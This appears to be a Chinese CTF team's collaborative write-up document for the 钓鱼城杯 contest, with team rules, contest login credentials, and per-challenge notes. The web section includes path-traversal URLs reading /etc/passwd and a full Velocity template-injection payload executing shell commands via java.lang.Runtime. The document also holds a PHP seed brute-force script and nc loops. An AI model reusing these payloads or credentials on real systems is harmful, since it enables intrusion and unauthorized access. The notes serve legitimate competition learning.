# S3C钓鱼城杯 [TOC] ## 如何使用本文档 ### 题目状态: OPEN - 正在试图解这道题 CLOSED - 这道题还没有打开 SOLVED - 解决了!鼓掌 不要只顾一人做题,不看文档,不写文档 解一道题,不管这题是否解出,请把你的名字加入到Working列表8 如果你卡住了,或者解出这题,请先把writeup或者目前的进展写到文档里再做下一题,如果是解出了,请在写完WriteUp后贴出flag,并且更新题目状态,更新之后请刷新页面最上方的目录 题目格式:题目名称 | 题目状态 | working : xxx(这里用标题2,大类用标题)“” 如果你是做已经解决的题目,建议先自己尝试,直到做不出来才看看别人的思路,如果你有别的方法,同样把WriteUp写在文档里,格式与上相同 比赛需要的是团队合作,请看重文档工作,从第一次合作开始就遵守规则,做完一题就做一个总结,这对大家都有帮助 比赛结束,如果有些题在比赛中只写的简单的WriteUp写在,可以花时间补充完善,写WriteUp对个人的帮助都比较大,其次也方便后期整理 赛事信息 钓鱼城杯: 竞赛网站地址:https://dycb.xctf.org.cn 开始时间:8月27 周四 09:00 结束时间:8月27 周四 21:00 大赛联系方式:大赛QQ群:1137625331 账号: 17696100266 R9p632 赛前打卡(填ID): dkk、dw、gy、clq、cqr、yjj ![](https://i.imgur.com/zkglbLJ.png) ## Web ### gamebox | OPEN |dkk view-source:http://122.112.218.163:10080/?f=/usr/local/etc/php/php.ini 发现有 FileReader.so 下载 http://122.112.218.163:10080/?f=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so ### zblog | SOLVED |dkk 任意文件读取 http://122.112.253.135/?title=../../../../../../../etc/passwd http://122.112.253.135/?title=../../../../../../../proc/self/cmdline ![](https://i.imgur.com/DTV7FLn.png) view-source:http://122.112.253.135/?title=../../../../../../../home/ctf/web/pom.xml ![](https://i.imgur.com/FTy12lg.png) 读到源码 http://122.112.253.135/?title=../../../../../../../home/ctf/web/src/main/java/Blog.java 有模版注入 参考 https://www.cnblogs.com/yuzly/p/11782608.html ![](https://i.imgur.com/Fd8ocyR.png) ``` http://121.36.166.117/?title=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat /flag_1s_s000e4syyy223%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end ``` ![](https://i.imgur.com/o3JjQKG.png) ### easyseed | SOLVED | gy、dkk 开锁小游戏 ![](https://i.imgur.com/nkuO5ey.png) lock=vEUHaY key=Infer+the+key+from+the+lock 有源码泄露 http://122.112.252.28:20001/index.bak php伪随机数爆破 参考 https://blog.csdn.net/qq_45521281/article/details/107302795 ```php <?php mt_srand(718225); // $lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); $key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); function random($length, $chars = '0123456789ABC') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } var_dump($lock); var_dump($key); ``` 得到的$key不对 不清楚哪里出问题了 可能是php版本 但是lock爆出来都一样 ![](https://i.imgur.com/5B2JWJH.png) ![](https://i.imgur.com/QqrFJeg.png) 👴吐了 改xff头 拿flag ### easyweb | SOLVED | dkk、gy ![](https://i.imgur.com/Zqct8Uf.png) 命令盲注 无回显 ![](https://i.imgur.com/KPUpRHG.png) 交给师傅们了 ## RE ### reg ![](https://i.imgur.com/XpzZ9nU.png) 不懂 ## Pwn ## Misc ### whitespace | SLOVED | cqr 把文本中的长空格替换成1,短空格替换成0,再二进制转字符 flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg} ### 签到 | SOLVED | ### whitespace | SOLVED | gy whitespace语言 空白解码器:https://vii5ard.github.io/whitespace/ flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg} ### 张三的恶行 | OPEN | yjj ### 量子加密 | OPEN | gy ~~正在爆破~~ ~~去他丫的就是个伪加密压缩包~~ 我错了还真是个加密压缩包 不爆了,自暴吧 ## Cry ### confused_flag|SOLVED|dkk、gy 7-8-fe9bdf5a7ed3}fee6;1199;gdd;-;;6-b;e298fa{b0l 每次都不一样 估计爆破 写脚本ing ```python import os shell = "nc 119.3.45.222 9999" f = "lucky.txt" for i in range(100): a =os.popen(shell).read() with open("test.txt","a") as f: f.write(a) ``` ![](https://i.imgur.com/ZeVdXdv.png) flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65} ```python import os while (1): i=os.popen("nc 119.3.45.222 9999 >> 1.txt") print (i) ``` flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65} ### strictmathematician | OPEN | gy 基本要求:MD5的0e截断 题目要输入字符串+每次刷新的随机值进行sha256加密,然后再16位MD5加密,结果必须为000000000000,所以要MD5开头为0e 题目上新了源码,确实如上,但不会解 ### crypto0 | OPEN | gy 来个人收了这个吧 n = 18267477765452213037122212636611100978638799006144336365154876695918744016502452629498063848853403623956165200340974852361604884676510535992040751122133494130757957746075539931399072780455922732584885142963986965706985456511918891117691658590666783825176592053691556279833338856022283312952803584296267164528438450116290490531494980285177622407332875024342364338023119429462091725366144766384067149095181108329436152159257490497949860044584094377377375659432835367089912783269916817682312233708223450469366363338450368397183177639491194859936460034718883888898444982577867044174583498391799299864289901458776256206463 67d886de1154b448fabde6d959881de842bf8b61dfd6a76a809b750f72231d2d325e6ab946ef4eed376cad17f735e5d1a6895dcc288f99ffbacfb7a19edd45fee4fe459fd275f07e7b73b121e2a6062aa7c9671bfeac77be005ed501d5ed9e5e82f21b92ff3e397d7df61be92ba4dbce573ad906bcb636ff2378658bc826d2d208de704763bd6d611270d82d5943bc16cfe1a50a77d184cb16c319ba370800d4e15da3821456b4e0c7133a33c1994d9e61f316e5bafe2bb803f9a2cf62c96f8dfff057f1261cc38a74192d2ae3a2a3f398577cdcf6791e97291af7454ae00407715606f77ca49a21cf8a7bc7af4d3cd0cdc926b62dc30d2734947df3c5f3da63 确认不是RSA 输入一串16进制码会进行某种加密,返回加密结果 n会不断变化 确认是AES加密 确认过程:nc连上后选hint,给n和加密的字符串 p = number.getPrime(1024) q = number.getPrime(1024) n = p * q 然后给出hint为pow(flag+padding, 3, n)的十六进制 padding = os.urandom(160) 算了不写了时间到了